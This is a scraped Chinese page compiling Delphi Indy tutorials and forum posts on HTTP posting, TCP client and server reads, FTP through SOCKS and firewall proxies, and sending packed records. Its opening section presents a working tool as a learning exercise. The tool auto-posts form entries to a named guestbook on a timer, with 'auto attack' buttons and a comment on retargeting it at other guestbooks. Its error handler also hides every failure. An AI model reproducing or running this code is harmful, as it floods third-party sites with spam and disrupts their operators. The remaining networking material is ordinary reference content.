学习indy组件

来源:互联网 发布:linux 删除几个文件 编辑:程序博客网 时间:2024/06/05 17:30

学习indy组件

1、学习indy组件之一idhttp的使用方法,学习定时器用法,学习分析html页面,程序容错处理

预备知识 IdHTTP组件是Indy组件的一部分,主要用于实现读取HTTP服务器的资源,可以实现浏览器的网络功能。
  IdHTTP是从TIdCustomHTTP继承来的,基本上也就是换了一个比较简单的名字给类和属性而已,它本身没有自己的函数和过程,全是从TIdCustomHTTP继承来的。基本上用得到的两个方法是Get(两个重载类型)和Post(四个重载类型)。

idhttp的post方法:
function Post(AURL: string; const ASource: TStrings): string; overload;
function Post(AURL: string; const ASource: TStream): string; overload;
function Post(AURL: string; const ASource: TIdMultiPartFormDataStream): string; overload;
procedure Post(AURL: string; const ASource: TStrings; const AResponseContent: TStream); overload;
procedure Post(AURL: string; const ASource: TStream; const AResponseContent: TStream); overload;
procedure Post(AURL: string; const ASource: TIdMultiPartFormDataStream; AResponseContent: TStream); overload;
2、异常响应为开发者提供了一个按自己的需要进行异常处理的机制。主要异常处理有两种: try except end
try finally


try …except …end形成了一个异常响应保护块。与finally不同的是:正常情况下except 后面的语句并不被执行,而当异常发生时程序自动跳到except,进入异常响应处理模块。当异常被响应后异常类自动清除。相关文章http://www.fosu.edu.cn/netschool/delphi/029.htm

主要代码

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, ExtCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Memo1: TMemo;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
Button1: TButton;
Button2: TButton;
Edit4: TEdit;
Label6: TLabel;
IdHTTP1: TIdHTTP;
Memo2: TMemo;
Label7: TLabel;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
mytemp:tStringList; //变量定义
sex:string;
begin
if RadioButton1.Checked=true then begin //判断性别
sex:=RadioButton1.Caption;
end;

if RadioButton2.Checked=true then begin
sex:=RadioButton2.Caption;
end;
//以下值都来自http://www.gxxezz.com/liuyan/index.asp的页面分析,分析出其中的必要的提交元素,不要忘记hidden类型的
mytemp:=tStringList.Create;
mytemp.Add('NAME='+edit1.Text);
mytemp.Add('sex='+sex);
mytemp.Add('email='+edit2.Text);
mytemp.Add('WEB='+edit3.Text);
mytemp.Add('MESSAGE='+Memo1.Lines.Text);
mytemp.Add('Send=1'); //这个是个隐藏属性,一定得加啊

try
IdHTTP1.Post('http://www.gxxezz.com/liuyan/index.asp',mytemp); //idhttp提交post请求,如果攻击其他的留言本得更换提交地址
except
Memo2.Lines.Add('估计是成功了'); //发送完毕记录
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if timer1.Enabled=false then
begin
timer1.Interval:=strtoint(Edit4.Text); //设定攻击间隔
timer1.Enabled:=true; //激活定时器
Button2.Caption:='停止攻击'; //改变按钮文字
end
else begin
timer1.Enabled:=false; //停止定时器
Button2.Caption:='自动攻击'; //改变按钮文字
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
application.ProcessMessages; //防止界面死掉
Button1Click(self); //按照设定的时间间隔自动点击发送按钮
end;

end.
 

--------------------------------------------------------------------------------

关于Indy Tcpserver和Tcpclient
--------------------------------------------------------------------------------
用了Indy以后我不担心多线程的问题。我的客户端和服务器端需要多次传送不同性质的数据,所以服务器端是否要使用循环代码读取客户端的内容?客户端通过发送不同的前缀让服务器知道并接收其后的数据。请高手解答。
--------------------------------------------------------------------------------
procedure TMainFrm.IdTCPServerExecute(AThread: TIdPeerThread);
var
  MyRec : ClientWareRecord;
  SourceBmp : TBitmap;
  fbuf1:TMemoryStream;
  LibHandle: THandle;
  Jpg:Tjpegimage;
  protsTmp,strmypath,strMyip:string;
  ShowCalendar:Procedure(SourceBmp: TBitmap; Width, Height: Integer; JpgPath :string);
  Com,     // System command
  Msg,sTmp    : String;
begin
    AThread.connection.ReadBuffer(MyRec,SizeOf(MyRec));
    if MyRec.ClientComType = MP_GETTBMPTOTJPG then
    begin
          try
            SourceBmp := TBitmap.Create;
            SourceBmp.PixelFormat := pf24bit;
            SourceBmp.LoadFromFile(MyRec.ServerPath);
            jpg := TJPEGImage.Create;
            jpg.Assign(SourceBmp);
            //jpg.SaveToFile(JpgPath);
            //===================================================================
            fbuf1:=TMemoryStream.Create;
            //===================================================================
            jpg.SaveToStream(fbuf1);
            SourceBmp.FreeImage;
            FreeAndNil(SourceBmp);
            FreeAndNil(jpg);
            AThread.Connection.OpenWriteBuffer;
            AThread.Connection.Writestream(fbuf1,true,false);
          finally
            AThread.Connection.CloseWriteBuffer;
          end;
  end;
end;

--------------------------------------------------------------------------------
up
--------------------------------------------------------------------------------
谢谢,测试完毕立即给分。
 
使用Indy的TCPclinet测试HTTP服务 [阅读全文(34) | 回复(1) | 引用通告(0) | 编辑] 
 
 

今天终于弄出来了,适用INDY的sendcmd,试验过各种参数,包括那个不明确要求结果的-1,但总是回答不能得到正确的回应,苦恼,后来没有办法,用了TCPCLIENT的低级方法iohandle,发出请求得到回应,还是那个要注意GET / HTTP/1.0必须后面加两组回车换行,不然不完整命令。

        With myTcpClient
            .Host = "2.2.1.1"
            .Port = 80
            Try
                .Connect()
                Dim mycmd As String = "GET / HTTP/1.0" + vbCrLf + vbCrLf
                Dim bmycmd As Byte() = Encoding.ASCII.GetBytes(mycmd)
                .IOHandler.WriteDirect(bmycmd)
                Dim ret As String = .IOHandler.ReadString(15)
                Dim require As String = "HTTP/1.1 200 OK"
                Dim result As Boolean = IIf(require = ret, True, False)
                MsgBox(result, MsgBoxStyle.OKOnly, "hi")

            Catch ex As Exception
                MsgBox(ex.ToString, MsgBoxStyle.Critical, "Error!")
            Finally
                .Disconnect()
            End Try
        End With
 


--------------------------------------------------------------------------------

 
关于Indy TCP Client控件的讨论(二) [阅读全文(21) | 回复(0) | 引用通告(0) | 编辑] 
 
 


其实Indy比较简单,但是可以提供的方法太多了。我找了很久,才搞明白。

比方说这个读取缓冲区的数据,就有很多种方法。相对于TTcpClient的几种方法来说,TIdTCPClient确实提供了多种选择,不仔细研究真的容易糊涂(其实我比较喜欢用CurrentReadBuffer):

1、ReadFromStack
原型:function ReadFromStack(const ARaiseExceptionIfDisconnected: boolean; const ATimeout: integer; const AUseBuffer: boolean; ADestStream: TIdBuffer): integer; virtual;
用于判断缓冲区里是否还有数据可读,返回值:Integer - Number of bytes read.

2、CurrentReadBuffer
原型:function CurrentReadBuffer: string;
用于读取Socket数据到缓冲区,注意返回为String类型,如果直接显示该String的数据,对于/0之后的数据可能看不到,因此要读取所有的数据,还必须利用CurrentReadBufferSize()判断该String的长度。
返回值:String - Contents of the Indy buffer.

3、GetResponse
原型:function GetResponse(const AAllowedResponses: Array of SmallInt): SmallInt; virtual;
对于简单的命令应答可以使用这个方法获取应答消息,返回值:SmallInt - The numeric response number.

4、ReadBuffer
原型:procedure ReadBuffer(var ABuffer; const AByteCount: Longint);
读取指定数目的字节到缓冲区ABuffer,注意它会调用 ReadFromStack 以检查缓冲区里的数据是否少于AByteCount

5、ReadInteger
原型:function ReadInteger(const AConvert: boolean): Integer;
从缓冲区中读取整型数据,它会调用ReadBuffer

6、ReadLn
原型:function ReadLn(const ATerminator: string; const ATimeout: integer): string; virtual;
读取移行记录,带有一个TimeOut属性,以防止在读不到新行时死循环。返回值:String - Line read from the buffer.
注意行分隔符可能是以下几种:
#0 - Default Line Feed (#10)
LF - Line Feed (#10)
CR - Carriage Return (#13)
EOL - End-of-line (Carriage Return + Line Feed)

7、ReadLnWait:
原型:function ReadLnWait: string;
很像ReadLn,但它会一直傻傻的等待

8、ReadSmallInt
原型:function ReadSmallInt(const AConvert: boolean): SmallInt;

9、ReadStream
原型:procedure ReadStream(AStream: TStream; AByteCount: LongInt; const AReadUntilDisconnect: boolean);

10、ReadString
原型:function ReadString(const ABytes: integer): string;
与CurrentReadBuffer的不同在于它读取指定长度的字符串 
wlwsz 


--------------------------------------------------------------------------------

 
IndyFTP 如何使用 SOCKET5 代理
  作者: 不详   更新时间: 2004年9月14日  
通过属性连接起来,就是IdFTp1.IOhandler:=idIOhanlderSocket1;
idIohandlerSocket1.SocksInfo:=idSocksInfo1的意思,不必写代码的,
设置好SocksInfo的版本为Socks5,Host为代理的IP或Domain Name,Port为代理的端口,就可以让IndyFTp通过协议为Socks5的代理服务器(防火墙)连接了,当然别忘记设置好IdFTp的ProxySettings的ProxyType哦,还有其他的,关于User@站点的是要根据你的代理服务器(防火墙)的支持协议而定,一般有好几种的:
 
Open FTP-Host:FTP-Port
SITE FTP-Host FTP-Port
SITE FTP-Host:FTP-Port
SITE FTP-User@FTP-Host FTP_port
SITE FTP-User@FTP-Host:FTP_port
USER FTP-User@FTP-Host FTP-Port
USER FTP-User@FTP-Host:FTP-Port
USER FTP-User@FTP-Host Proxy-User
USER Proxy-User@FTP-Host
CheckPoint Firewall:USER FTP-User@Proxy-User@FTP-Host / PASS pass@firewallpass
 
Indy只支持其中的几种,其他的自己添加。
看不懂?那是通过SendCmd的底层命令发送联接指令给代理服务器,由代理服务器解释以后,建立到外部FTP服务器的连接,因为你是不能直接连接到外部FTP的,记得就是这时一定要用Passive模式,因为你在防火墙之后,只有你可以主动访问外部,而外部不可以主动访问你,关于HTTP Proxy是怎样呢?也是差不多,就是复杂些:建立HTTP连接,通过SendCmd的底层命令发送Connect FTP:Port HTTP/1.0User-Agent: Mozilla/4.0 (compatible; LY FTP Explorer)Proxy-Connection: Keep-Alive等Http信息,是回车+换行,不管通过那一种连接,连接建立以后直接发送FTP命令就可以了,注意List和上传/下载(stor/retr)的时候会建立新的连接,这时候也要用上述方法建立,否者无法成功建立新的数据端口,SendCMD是Indy的通用命令,用于发送原始的TCP数据(ASCII码的),从这里下载Indy9.0.10: http://www.nevrona.com/indy/ 还有就是Indy本身就有很多的bug,我搞了半年才修正了不少,这个最新的也有不少噢,很对不起我不能提供修正版和完整的Proxy解决办法的源代码给各位,请大家见凉。
下面是Indy9.0.10修正版的片段代码:
 
// added by Liu Yang 2002.2.1
fpcmSiteHostPort: // Send command SITE (FTP-Host FTP-Port)
begin
if (Length(ProxySettings.UserName)>0) then begin
if SendCmd(‘USER ‘ + ProxySettings.UserName, [230, 331]) = 331 then begin
SendCmd(‘PASS ‘ + ProxySettings.Password, 230);
end; // 230是允许的FTP协议返回代码,
//详细的看RFC 959 http://www.rfc-editor.org/rfc/rfc959.txt
end;//proxy login
SendCmd(‘SITE ‘+FHost+‘ ‘+IntToStr(FPort));//? Server Reply? 220?
if SendCmd(‘USER ‘ + FUserName, [230, 331]) = 331 then begin
SendCmd(‘PASS ‘ + FPassword, 230);
end;
end; //fpcmSiteHostPort
。。。。
fpcmUserPass: //USER user@firewalluser@hostname / PASS pass@firewallpass
begin // check point firewall / added port by Liu Yang 2002.2.2
if SendCmd(Format(‘USER %s@%s@%s %d‘,[FUserName,ProxySettings.UserName,FHost,FPort]), [230, 331])=331 then begin
if Length(ProxySettings.Password)>0 then begin
SendCmd(‘PASS ‘+FPassword+‘@‘+ProxySettings.Password, 230);
end
else begin
SendCmd(‘PASS ‘+FPassword, 230);
end;//if @
end;
end;//fpcmUserPass
。。。。。。
procedure TIdFTP.Connect(AAutoLogin: boolean = True);
var
TmpHost: String;
TmpPort: Integer;
begin
try
//APR 011216: proxy support
TmpHost:=FHost;
TmpPort:=FPort;
try
if (ProxySettings.ProxyType>fpcmNone) and (Length(ProxySettings.Host)>0) then begin
FHost:=ProxySettings.Host;
FPort:=ProxySettings.Port;
end;
inherited Connect;
finally
FHost:=TmpHost;
FPort:=TmpPort;
end;//tryf
// fixed by Liu Yang 2002.2.1
if ProxySettings.ProxyType=fpcmNone then
begin // non-proxy connection
GetResponse([220]);
Greeting.Assign(LastCmdResult);
end else InputBuffer.Clear; // clear buffer for using proxy to connect
if AAutoLogin then begin
Login;
DoAfterLogin;
SendTransferType;
// OpenVMS 7.1 replies with 200 instead of 215 - What does the RFC say about this?
// Fix by Liu Yang 2002.6.9 for support Cisco FTP Server (It will reply 502)
if SendCmd(‘SYST‘, [200, 215, 500, 502]) = 500 then begin
FSystemDesc := RSFTPUnknownHost;
end else begin
FSystemDesc := LastCmdResult.Text[0];
end;
DoStatus(ftpReady);
end;
except
Disconnect;
raise;
end;
end;
 
http://www.blogchinese.com/user1/48317/archives/2005/82616.shtml

--------------------------------------------------------------------------------

 
通讯的问题(急得很)
--------------------------------------------------------------------------------

我现在要发送数据。
每次固定1k,数据是这样的。先是一个结构
Type Tcommand= record
  commandid : integer;
  datalength: integer;//表示后面还有多长字节的数据
  end;
后面就是要发送的数据了。
我想问要怎么转化为字符流并用idTcpclient控件传出去。
c中的发送和接收是可以这样解决。可是在delphi中呢。还请赐教。最好有代码。
while(gogo)
{
test.commandid=100;
test.data1length=strlen(teststr);
memcpy(buf,&test,sizeof(struct command));
memcpy(buf+sizeof(struct command),teststr,strlen(teststr));
if(write(pclient->new_fd,buf,sizeof(struct command)+strlen(teststr))==-1)
{
fprintf(stderr,"Write Error:%s",strerror(errno));
gogo=0;
}
memset(buf,0,1024);
ret=read(pclient->new_fd,buf,1024);
if(ret==-1)
{
fprintf(stderr,"Read Error:%s",strerror(errno));
gogo=0;
}
if(ret>sizeof(struct command))
{
test.data1length=strlen(teststr);
memcpy(&test,buf,sizeof(struct command));
fprintf(stderr,"get data:%s.len:%u",buf+sizeof(struct command),ret);
fprintf(stderr,"get data:commandid:%u",test.commandid);
fprintf(stderr,"get data:data1length:%u",test.data1length);
}
else
{
buf[ret]='/0';
fprintf(stderr,"get unknow data:%s,len:%u",buf,ret);
}
}
fprintf(stderr,"close new_fd");
close(pclient->new_fd);
free(pclient);
return;

--------------------------------------------------------------------------------

直接用SendBuffer发送都可以的
http://lysoft.7u7.net

--------------------------------------------------------------------------------

上面的高手能详细的说清楚一下吗?拜托

--------------------------------------------------------------------------------

类似如下的代码,稍改一下,你就可以使用了。
  Tcommand= packed record
    commandid : integer;
    datalength: integer;
  end;
var
    test:TCommand;
    gogo:boolean;
    teststr:pchar;
    buf:array of char;
    ret:integer;
begin
    CopyMemory(teststr,pChar('hahahahaha'),10);
    setlength(buf,30);
//////////////////////////////模拟写了几个数据
    while(gogo) do
    begin
        test.commandid:=100;
        test.datalength:=strlen(teststr);
        CopyMemory(buf,@test,sizeof(Tcommand));
        CopyMemory(pChar(integer(buf)+sizeof(TCommand)),teststr,strlen(teststr));
        IdTCPClient1.Socket.Send(buf,test.datalength+sizeof(TCommand));
        ZeroMemory(buf,1024);
......
    end;

--------------------------------------------------------------------------------

做个记号希望以后有用!:)

--------------------------------------------------------------------------------

谢谢你给我的答复。对我很有用。不过还有些不了解的地方。比如说pchar(integer(buf)+sizeof(Tcommand)) 等等。请赐教。
还有。为什么要用idtcpclient1.Socket.send,用其他的的如idtcpclient1.writebuffer()可以吗?
还有我接收的时候要注意什么呢?(也用idtcpclient)
应用是服务器端是用c写,而客户端是用delphi。谢谢了

--------------------------------------------------------------------------------

我没用,看了一下帮助,没看到writebuffer(),应该也可以的。
pchar(integer(buf)+sizeof(Tcommand))
/////////////////
在d中,指针的运算相对C要弱很多,所以很多C里面很方便的指针操作这里就会复杂得多。
相当于C中的buf+sizeof(TCommand),
就是将buf指针通过integer转换成整形的地址,加上sizeof(
Tcommand)偏移量,为得到的新地址,整形的地址,再将这个地址强制转换成pChar指针。
接收的时候也没什么特别的,就是解包的时候用我上面的取地址的方法就OK了。

--------------------------------------------------------------------------------

使用writebuffer()类似这样发送:
var
  Command : Tcommand;
begin
  writebuffer(Command,SizeOf(Tcommand));
  writebuffer(数据,SizeOf(数据)); 
end;
接收的时候用readbuffer()
var
  Command : Tcommand;
begin
  readbuffer(Command,SizeOf(Tcommand));
  if command.commandid= 1 then
    readbuffer(数据1,SizeOf(数据1)) 
  else
    readbuffer(数据2,SizeOf(数据2))     
end;

--------------------------------------------------------------------------------
up
--------------------------------------------------------------------------------
WriteBuff可以,其实最简单的是用WriteStream,Stream本身就包含了发送数据的大小,在前4个字节,只要发送的数据不是太大,工作的很好。
 
http://www.uqa.cn/cnstu/3853/3853295.htm

原创粉丝点击